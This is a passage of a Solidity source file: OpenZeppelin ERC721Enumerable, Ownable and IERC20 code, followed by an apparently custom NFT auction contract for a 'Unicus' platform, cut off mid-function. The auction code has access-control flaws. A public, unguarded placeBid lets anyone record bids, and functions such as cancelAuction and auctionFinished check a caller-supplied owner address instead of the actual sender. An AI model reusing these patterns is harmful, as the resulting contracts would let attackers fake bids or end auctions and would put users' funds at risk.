function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Enumerable.sol)
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// OpenZeppelin Contracts v4.4.0 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol)
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Smart contract to create Auctions, place bids and End Auctions
* in Unicus Nft Platform
*
*/
contract Auction {
// Owner of the Auction.
address private _owner;
// Ipfs hash of asset metadata uploaded onto ipfs
string private _assetHash;
// Auction start time
uint256 private _startTime;
// Base Price set for the Auction
uint256 private _basePrice;
// Total amount collected for the Auction
uint256 private _totalAmount;
// Is the Auction cancelled
bool private _canceled;
// Is the Auction finished
bool private _finished;
// Keep track of address of the bidder who placed the highest bid
address private _highestBidder;
// Array of the the bidders who placed bids in this Auction
address[] private _bidders;
// Mapping from bidder address to the price of the bid placed
mapping(address => uint256) private _bidderBidPriceMappings;
// ERC20 token that is accepted for the auction
IERC20 private _token;
/**
* @dev Starts the Auction by setting an `owner` ,`basePrice` ,`Ipfs asset hash` and a `Start time` .
*
*/
constructor(address owner_,uint256 basePrice_, string memory assetHash_,IERC20 token_) {
require(basePrice_ > 0 , "Base price should be greater than 0" );
_owner = owner_;
_assetHash = assetHash_;
_basePrice = basePrice_;
_startTime = block.timestamp;
_token = token_;
}
/**
* @dev Places a bid on the Auction associated with the Ipfs hash. Bid price will be transfered to the Wallet
* of the smart contract
* Calling conditions:
*
* - Any user in Unicus platform can place a bid during duration of the Auction.
* - The Owner of the Auction cannot place a bid
* - The bid amount should be greater than the base price set for the Auction
*
* @param bidder_ Address of the bidder placing the bid
* @param bidPrice_ Price of the bid
* @return true if the bid is accepted and the bid price is received in address of the smart contract
*
* Emits a {BidPlaced} event.
*/
function placeBid(address bidder_, uint256 bidPrice_) public
onlyAfterStart
onlyNotCanceled
returns (bool )
{
uint256 newBid = _bidderBidPriceMappings[bidder_] + bidPrice_;
uint256 _highestBid = _bidderBidPriceMappings[_highestBidder];
_bidderBidPriceMappings[bidder_] = newBid;
if(!_isBidderAlreadyPresent(bidder_)) {
_bidders.push(bidder_);
}
if (newBid > _highestBid) {
if (msg.sender != _highestBidder) {
_highestBidder = bidder_;
}
}
_totalAmount += bidPrice_;
return true;
}
/**
* @dev validates the bid placed for the auction
*
* @param bidder_ Address of the bidder placing the bid
* @param bidPrice_ Price of the bid
* @return true if the bid price and the bid owner are verified
*/
function validateBid(address bidder_, uint256 bidPrice_) public view returns (bool) {
require (bidder_ != _owner,"Owner cannont place a bid");
if(!_isBidderAlreadyPresent(bidder_)) {
require (bidPrice_ > _basePrice, "Bid amount less than base price") ;
} else {
require (bidPrice_ > 0, "Bid amount should not be 0") ;
}
return true;
}
/**
* @dev Checks if the bidder_ is already participating in this Auction
*
* @return true if the bidder_ has already placed a bid else returns false
*/
function _isBidderAlreadyPresent(address bidder_) internal view returns (bool ) {
for (uint256 i; i < _bidders.length ; i++) {
if(_bidders[i] == bidder_)
return true;
}
return false;
}
/**
* @dev Returns the start time of the Auction
* @param owner_ owner of the Auction
* Calling conditions:
*
* - Only the owner of the smart contract i.e Unicus platform can invoke this
* @return time the Auction was register on block chain
*
*/
function getStartTime(address owner_) public view returns(uint256 ) {
require(owner_ == _owner, "Only Auction owner can perform this operation");
return _startTime;
}
/**
* @dev Returns the total amount collected for the Auction
* @param owner_ owner of the Auction
* Calling conditions:
*
* - Only the owner of the smart contract i.e Unicus platform can invoke this
* @return amount collected for the Auction.
*
*/
function getTotalBidAmount(address owner_) public view returns(uint256 ) {
require(owner_ == _owner, "Only Auction owner can perform this operation");
return _totalAmount;
}
/**
* @dev Returns the current highest bid of the Auction
* @param owner_ owner of the Auction
* Calling conditions:
*
* - Only the owner of the smart contract i.e Unicus platform can invoke this
* @return Higest bid placed so far
*
*/
function getCurrentHighestBid(address owner_) public view returns(uint256 ) {
require(owner_ == _owner, "Only Auction owner can perform this operation");
uint256 _highestBid = _bidderBidPriceMappings[_highestBidder];
return _highestBid;
}
/**
* @dev Initiates the cancelling of the Auction.
* updates state variables in this Auction
* Calling conditions:
*
* - Only the owner of the smart contract i.e Unicus platform can end an Auction.
* - Only if this Auction was not already canceled or finished
* @param owner_ owner of the Auction
*
* @return success after updating the state variables
* Emits a {AuctionCanceled} event.
*/
function cancelAuction(address owner_) public
onlyNotCanceled
onlyNotFinished
returns (bool )
{
require(owner_ == _owner, "Only Auction owner can perform this operation");
_canceled = true;
_startTime = 0;
return true;
}
/**
* @dev Returns the ERC20(UNIC) token
*
* @return ERC20(UNIC) token smart contract.
*
*/
function getERC20() public view returns(IERC20 ) {
return _token;
}
/**
* @dev Returns if the Auction is ongoing
*
* @return true if the Auction is currently in progress and false if its finished or cancelled
*
*/
function isActive() public view returns(bool ) {
return (_startTime > 0 && !_finished && !_canceled);
}
/**
* @dev Returns the address of the bidder who placed the highest bid so far
* @param owner_ owner of the Auction
* Calling conditions:
* - Only the owner of the smart contract i.e Unicus platform can invoke this
* @return address of the highest bidder of the Auction.
*
*/
function getHighestBidder(address owner_) public view returns(address ) {
require(owner_ == _owner, "Only Auction owner can perform this operation");
return _highestBidder;
}
/**
* @dev Returns all the bidder who participated in this Auction
* @param owner_ owner of the Auction
* Calling conditions:
*
* - Only the owner of the smart contract i.e Unicus platform can invoke this
* @return address of the all the bidder who placed the bids for this Auction.
*
*/
function getAllBidders(address owner_) public view returns(address[] memory ) {
require(owner_ == _owner, "Only Auction owner can perform this operation");
return _bidders;
}
/**
* @dev Returns the bid price placed by a participating bidder
* @param owner_ owner of the Auction
* @param bidder_ bidder participating in this Auction
* Calling conditions:
*
* - Only the owner of the smart contract i.e Unicus platform can invoke this
* @return bid price placed by the bidder participating in this Auction
*
*/
function getBidderBidPrice(address owner_,address bidder_) public view returns(uint256 ) {
require(owner_ == _owner, "Only Auction owner can perform this operation");
return _bidderBidPriceMappings[bidder_];
}
/**
* @dev Initiates the ending of the Auction.
* updates state variables in this Auction
* Calling conditions:
*
* - Only the owner of the smart contract i.e Unicus platform can end an Auction.
* @param owner_ owner of the Auction
*
*/
function auctionFinished(address owner_) public {
require(owner_ == _owner, "Only Auction owner can perform this operation");
_finished = true;
_canceled = false;
}
modifier onlyAfterStart {
require(_startTime > 0, "Auction has not been started");
_;
}
modifier onlyNotCanceled {
require(_canceled != true, "Auction has been cancelled");
_;
}
modifier onlyNotFinished {
require(_finished != true, "Auction has been cancelled");
_;
}
}
contract UnicusNft is ERC721Enumerable, Ownable {
using Strings for uint256;
// GAS Limit for the smart contract
uint256 private _GAS_LIMIT = 80000000;
// Keep track of the token id created
uint256 private _COUNTER;
// Mapping from ipfs hash to the Auction
mapping(string => Auction) private _assetHashAuctionMappings;
// Mapping from Nft token ID to the ipfs hash
mapping(uint256 => string) private _tokenIdAssetHashMappings;
// Array with all token ids of the Nfts created
uint256[] private _nfts;
// Array with all ongoing Auctions
string[] private _ongoingAuctions;
/**
* @dev Emitted when ETH Payment is transfered from this contract .
*/
event EthPaymentSuccess(bool success,bytes data,address from, address to,uint256 amount);
/**
* @dev Emitted when ERC20 Payment is transfered from this contract .
*/
event ERC20PaymentSuccess(bool success,address from, address to,uint256 amount);
/**
* @dev Emitted when Auction has commenced .
*/
event AuctionStarted(string hash,uint256 basePrice,uint256 timestamp);
/**
* @dev Emitted when a bidder places a bid for this Auction.
*/
event BidPlaced(string hash,address bidder, uint bid, address highestBidder, uint highestBid);
/**
* @dev Emitted when Auction is finished .
*/
event AuctionFinished(string hash,uint256 tokenId,address highestBidder, uint highestBid);
/**
* @dev Emitted when Auction is cancelled by the Owner .
*/
event AuctionCancelled(string hash);
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the Unicus NFT token collection.
*/
constructor(
string memory _name,
string memory _symbol
) ERC721(_name, _symbol) {
}
/**
* @dev starts an Auction in Unicus platform
*
* Calling conditions:
*
* - Only the owner of the smart contract i.e Unicus platform can start an Auction
* @param assetHash_ Ipfs hash of asset metadata uploaded onto ipfs
* @param basePrice_ Base price for the Auction. Any bids for the Auction should be more than the base price
*/
function auctionStart(string memory assetHash_,uint256 basePrice_) public onlyOwner {
_auctionStart(assetHash_,basePrice_,IERC20(address(0)));
}
/**
* @dev starts an Auction in Unicus platform with UNIC tokens
*
* Calling conditions:
*
* - Only the owner of the smart contract i.e Unicus platform can start an Auction
* @param assetHash_ Ipfs hash of asset metadata uploaded onto ipfs
* @param basePrice_ Base price for the Auction. Any bids for the Auction should be more than the base price
* @param token_ Address of the ERC20(UNIC) token smart contract
*/
function auctionStartERC20(string memory assetHash_,uint256 basePrice_,IERC20 token_) public onlyOwner {
_auctionStart(assetHash_,basePrice_,token_);
}
/**
* @dev Places a bid on the Auction associated with the Ipfs hash.
*
* Calling conditions:
*
* - Any user in Unicus platform can place a bid during duration of the Auction. The bid amount should be
* greater than the base Price set for the Auction
*
* @param assetHash_ Ipfs hash of asset metadata uploaded onto ipfs for which an Auction was already started
* Emits a {BidPlaced} event.
*/
function placeBid(string memory assetHash_) public payable returns (bool){
Auction auction = _assetHashAuctionMappings[assetHash_];
require( address(auction) != address(0), "Auction not started for this asset");
if(auction.validateBid(msg.sender,msg.value) == true) {
auction.placeBid(msg.sender,msg.value);
emit BidPlaced(assetHash_,msg.sender, msg.value, auction.getHighestBidder(owner()), auction.getCurrentHighestBid(owner()));
return true;
}
return false;
}
/**
* @dev Places a bid on the Auction associated with the Ipfs hash using ERC20(UNIC) tokens.
*
* Calling conditions:
*
* - Any user in Unicus platform can place a bid during duration of the Auction. The bid amount should be
* greater than the base Price set for the Auction and the amount should be ERC20(UNIC) tokens
*
* @param assetHash_ Ipfs hash of asset metadata uploaded onto ipfs for which an Auction was already started
* @param amount_ Bid amount placed for the Auction with ERC20(UNIC) tokens.
* Emits a {BidPlaced} event.
*/
function placeBidERC20(string memory assetHash_,uint256 amount_) public returns (bool){
Auction auction = _assetHashAuctionMappings[assetHash_];
require( address(auction) != address(0), "Auction not started for this asset");
IERC20 token = auction.getERC20();
require( address(token) != address(0), "This Auction does not support ERC20 tokens");
if(auction.validateBid(msg.sender,amount_) == true) {
_transferERC20(token,msg.sender,address(this), amount_);
auction.placeBid(msg.sender,amount_);
emit BidPlaced(assetHash_,msg.sender, amount_, auction.getHighestBidder(owner()), auction.getCurrentHighestBid(owner()));
return true;
}
return false;
}
/**
* @dev Initiates the ending of the Auction. This triggers returning of the payments made by all
* non winning bidders in the Auction. Minting of NFT for the ipfs hash happens here and is transfered
* to the winning bidder.
* Calling conditions:
*
* - Only the owner of the smart contract i.e Unicus platform can end an Auction.
* @param assetHash_ Ipfs hash of asset metadata uploaded onto ipfs for which an Auction was already started
*
* @return Nft token ID minted for the ipfs hash
* Emits a {AuctionFinished} event.
*/
function auctionEnd(string memory assetHash_) public onlyOwner returns (uint256 ) {
Auction auction = _assetHashAuctionMappings[assetHash_];
address winner = _returnBidAmountExceptWinner(auction);
uint256 id = mint(winner);
_nfts.push(id);
_tokenIdAssetHashMappings[id] = assetHash_;
auction.auctionFinished(msg.sender);
_removeFinishedAuction(assetHash_);
emit AuctionFinished(assetHash_,id,winner,auction.getCurrentHighestBid(owner()));
return id;
}
/**
* @dev Initiates the cancelling of the Auction. This triggers returning of the payments made by all
* bidders in the Auction.
* Calling conditions:
*
* - Only the owner of the smart contract i.e Unicus platform can end an Auction.
* @param assetHash_ Ipfs hash of asset metadata uploaded onto ipfs for which an Auction was already started
*
* @return bool indicating success or failure
* Emits a {AuctionCanceled} event.
*/
function auctionCancel(string memory assetHash_) public onlyOwner returns (bool ) {
Auction auction = _assetHashAuctionMappings[assetHash_];
_returnBidAmount(auction);
auction.cancelAuction(msg.sender);
_removeFinishedAuction(assetHash_);
delete _assetHashAuctionMappings[assetHash_];
emit AuctionCancelled(assetHash_);
return true;
}
/**
* @dev Withdraws all the accumulated payments received by the contract and
* transfers it to the Owner . (Unicus Platform)
* Calling conditions:
*
* - Only the owner of the smart contract i.e Unicus platform can invoke this
*
*/
function withdraw() public payable onlyOwner {
uint256 withdrawBalance = address(this).balance - _getOngoingAuctionsBalances(false);
_transferETH(msg.sender,withdrawBalance);
}
/**
* @dev Withdraws all the accumulated ERC20 (UNIC) payments received by the contract and
* transfers it to the Owner . (Unicus Platform)
* Calling conditions:
*
* - Only the owner of the smart contract i.e Unicus platform can invoke this
*
* @param token_ Address of the ERC20(UNIC) token smart contract
*/
function withdrawERC20(IERC20 token_) public payable onlyOwner {
uint256 balance = token_.balanceOf(address(this)) - _getOngoingAuctionsBalances(true);
require(balance >= 0, "Insufficient balance.to transfer");
_transferERC20(token_,address(this),msg.sender,balance);
}
/**
* @dev Returns balance of the ETH held by the contract.
* The amount of ETH that are held of finished auctions
* Calling conditions:
*
* - Only the owner of the smart contract i.e Unicus platform can invoke this
*
* @return the amount of ETH held
*/
function ethBalance() public onlyOwner view returns(uint256) {
return address(this).balance - _getOngoingAuctionsBalances(false);
}
/**
* @dev Returns balance of the withdrawable ERC20 tokens held by the holder.
* The amount of ERC20 tokens that are held of finished auctions
* Calling conditions:
*
* - Only the owner of the smart contract i.e Unicus platform can invoke this
*
* @param token_ Address of the ERC20(UNIC) token smart contract
* @param holder_ Address of the ERC20 token holder
* @return the amount of ERC20 tokens held
*/
function erc20Balance(IERC20 token_, address holder_) public onlyOwner view returns(uint256) {
return token_.balanceOf(holder_) - _getOngoingAuctionsBalances(true);
}
/**
* @dev Returns total balance of the ERC20 tokens held by the holder.
* Calling conditions:
*
* - Only the owner of the smart contract i.e Unicus platform can invoke this
*
* @param token_ Address of the ERC20(UNIC) token smart contract
* @param holder_ Address of the ERC20 token holder
* @return the amount of ERC20 tokens held
*/
function erc20TotalBalance(IERC20 token_, address holder_) public onlyOwner view returns(uint256) {
return token_.balanceOf(holder_) ;
}
/** @dev internal function that starts an Auction in Unicus platform
*
* Calling conditions:
*
* - Only the owner of the smart contract i.e Unicus platform can start an Auction
* @param assetHash_ Ipfs hash of asset metadata uploaded onto ipfs
* @param basePrice_ Base price for the Auction. Any bids for the Auction should be more than the base price
* @param token_ Address of the ERC20(UNIC) token smart contract
* Emits a {AuctionStarted} event.
*/
function _auctionStart(string memory assetHash_,uint256 basePrice_,IERC20 token_) internal {
require(address(_assetHashAuctionMappings[assetHash_]) == address(0) , "Auction already started for this Asset" );
require(msg.sender == owner() , "Auction can be started only by owner" );
Auction newAuction = new Auction(owner(),basePrice_,assetHash_,token_);
_assetHashAuctionMappings[assetHash_] = newAuction;
_ongoingAuctions.push(assetHash_);
emit AuctionStarted(assetHash_,basePrice_,newAuction.getStartTime(msg.sender));
}
/** @dev internal function that sets the allowance for ERC20(UNIC) tokens from this smart contract to the ownder or individual
* bidders who did not win the auction.
* Calling conditions:
*
* - Only the owner of the smart contract i.e Unicus platform can approve the token transfer
* @param token_ Address of the ERC20(UNIC) token smart contract
* @param from_ Address of the owner of the ERC20(UNIC) token
* @param to_ Address to which the allowance will be permitted
* @param amount_ amount of the ERC20(UNIC) tokens that will be allowed
*/
function _approveTransferERC20(IERC20 token_,address from_, address to_,uint256 amount_) private onlyOwner returns (bool) {
if(from_ == address(this)) {
if(to_ != owner()) {
token_.approve(to_,amount_);
_validateTransferERC20(token_,from_,to_,amount_);
}
return token_.transfer(to_, amount_);
}
return false;
}
/** @dev internal function that validates the transfer of ERC20(UNIC) tokens for balance and allowance
*
* @param token_ Address of the ERC20(UNIC) token smart contract
* @param from_ Address of the owner of the ERC20(UNIC) token
* @param to_ Address to which the allowance will be permitted
* @param amount_ amount of the ERC20(UNIC) tokens that will be transfered
*/
function _validateTransferERC20(IERC20 token_,address from_, address to_,uint256 amount_) private view {
uint256 allowance_ = token_.allowance(from_, to_);
require(allowance_ >= amount_, "Insufficient allowance....");
require(token_.balanceOf(from_) >= amount_, "Insufficient balance.");
}
/** @dev internal function that transfers ERC20(UNIC) tokens
*
* @param token_ Address of the ERC20(UNIC) token smart contract
* @param from_ Address of the owner of the ERC20(UNIC) token
* @param to_ Address to which the allowance will be permitted
* @param amount_ amount of the ERC20(UNIC) tokens that will be transfered
*/
function _transferERC20(IERC20 token_,address from_, address to_,uint256 amount_) private {
require(amount_ > 0, "Amount to transfer should not be zero.");
bool success;
if(msg.sender == owner()) {
// Transfering ERC20 tokens back to non winning bidders or the owner has called withdrawERC20
success =_approveTransferERC20(token_,from_,to_,amount_);
} else {
// bidders placing bids for an auction.Transfer the bid amount to this smart contract
success = token_.transferFrom(from_,to_, amount_);
}
emit ERC20PaymentSuccess(success,from_, to_,amount_);
require(success);
}
/** @dev internal function that transfers ETH
*
* Calling conditions:
*
* - Only the owner of the smart contract i.e Unicus platform transfer ETH
*
* @param bidder_ Address where the ETH will be transfered
* @param amount_ amount of the ETH that will be transfered
*/
function _transferETH(address bidder_, uint256 amount_) private onlyOwner {
require(amount_ > 0, "Amount to transfer should not be zero.");
(bool success,bytes memory data ) = payable(bidder_).call{value:amount_,gas:_GAS_LIMIT}("");
emit EthPaymentSuccess(success,data,address(this), bidder_, amount_);
require(success, "Transfer failed.");
}
/**
* @dev payments made by all non winning bidders in the Auction
* Calling conditions:
*
* - Only the owner of the smart contract i.e Unicus platform can end an Auction.
* @param auction_ Auction which has ended
*
* Emits a {PaymentResponse} event.
* @return Address of the winning bidder.
*/
function _returnBidAmountExceptWinner(Auction auction_) private onlyOwner returns(address ){
require( address(auction_) != address(0), "Auction not started for this asset");
IERC20 token = auction_.getERC20();
address winner = auction_.getHighestBidder(msg.sender);
address[] memory bidders = auction_.getAllBidders(msg.sender);
for (uint256 i; i < bidders.length ; i++) {
address bidder = bidders[i];
if(bidder != winner) {
uint256 amount = auction_.getBidderBidPrice(msg.sender,bidder);
if(amount > 0) {
if(address(token) != address(0)) {
_transferERC20(token,address(this),bidder,amount);
} else {
_transferETH(bidder,amount);
}
}
}
}
return winner;
}
/**
* @dev payments made by all bidders in the Auction
* Calling conditions:
*
* - Only the owner of the smart contract i.e Unicus platform can end an Auction.
* @param auction_ Auction which has ended
*
* Emits a {PaymentResponse} event.
*
*/
function _returnBidAmount(Auction auction_) private onlyOwner {
require( address(auction_) != address(0), "Auction not started for this asset");
IERC20 token = auction_.getERC20();
address[] memory bidders = auction_.getAllBidders(msg.sender);
for (uint256 i; i < bidders.length ; i++) {
address bidder = bidders[i];
uint256 amount = auction_.getBidderBidPrice(msg.sender,bidder);
if(amount > 0) {
if(address(token) != address(0)) {
_transferERC20(token,address(this),bidder,amount);
} else {
_transferETH(bidder,amount);
}
}
}
}
/**
* @dev update the Gas limit for the smart contract
* Calling conditions:
*
* - Only the owner of the smart contract i.e Unicus platform can update the Gas limit
* @param gasLimit_ new Gas limit
*
*/
function setGasLimit(uint256 gasLimit_) public onlyOwner{
_GAS_LIMIT = gasLimit_;
}
/**
* @dev Returns the number of Nfts in the Smart contract
* Calling conditions:
*
* - Only the owner of the smart contract i.e Unicus platform can invoke this
* @return number of NFTs owned by this contract.
*
*/
function balanceOf() public view onlyOwner returns(uint256) {
return address(this).balance;
}
/**
* @dev Mints NFT for the the winning bidder.
* Calling conditions:
*
* - Only the owner of the smart contract i.e Unicus platform can end an Auction.
* @param winner_ Address of the winning bidder to whom the minted NFT will be assigned
*
* @return Nft token ID minted
* Emits a {Transfer} event.
*/
function mint(address winner_) internal returns (uint256 ){
uint256 id = _COUNTER;
_safeMint(winner_, id);
_COUNTER++;
return id;
}
/**
* @dev Returns all the Nft token ids minted in the Smart contract
* Calling conditions:
*
* - Only the owner of the smart contract i.e Unicus platform can invoke this
* @return Array of NFTs minted by this contract
*
*/
function getNfts() public view returns (uint256[] memory) {
return _nfts;
}
/**
* @dev Returns all the NFT token ids associated with Address.
* @param owner_ Address of Nft owner
*
* @return Array of NFTs owned by this address
*/
function walletOfOwner(address owner_)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(owner_);
uint256[] memory tokenIds = new uint256[](ownerTokenCount);
for (uint256 i; i < ownerTokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(owner_, i);
}
return tokenIds;
}
/**
* @dev Returns all the Ipfs hash associated with the Nft token Id.
* @param tokenId_ NFT Token Id
*
* @return Ipfs hash for the Nft Token Id
*/
function tokenURI(uint256 tokenId_)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId_),
"ERC721Metadata: URI query for nonexistent token"
);
return _tokenIdAssetHashMappings[tokenId_];
}
/**
* @dev The total amount of ETH/ERC held for the ongoing Auctions
* Calling conditions:
*
* - Only the owner of the smart contract i.e Unicus platform can end an Auction.
* @param erc20_ indicating whether we need the balances of ERC20 autions or ETH auctions
*
* @return Total amount of ETH/ERC20.
*/
function _getOngoingAuctionsBalances(bool erc20_) internal view onlyOwner returns(uint256) {
uint256 totalAmount;
for (uint256 i; i < _ongoingAuctions.length ; i++) {
string memory hash = _ongoingAuctions[i];
Auction auction = _assetHashAuctionMappings[hash];
if(auction.isActive() ) {
if(!erc20_) {
totalAmount += auction.getTotalBidAmount(msg.sender);
} else {
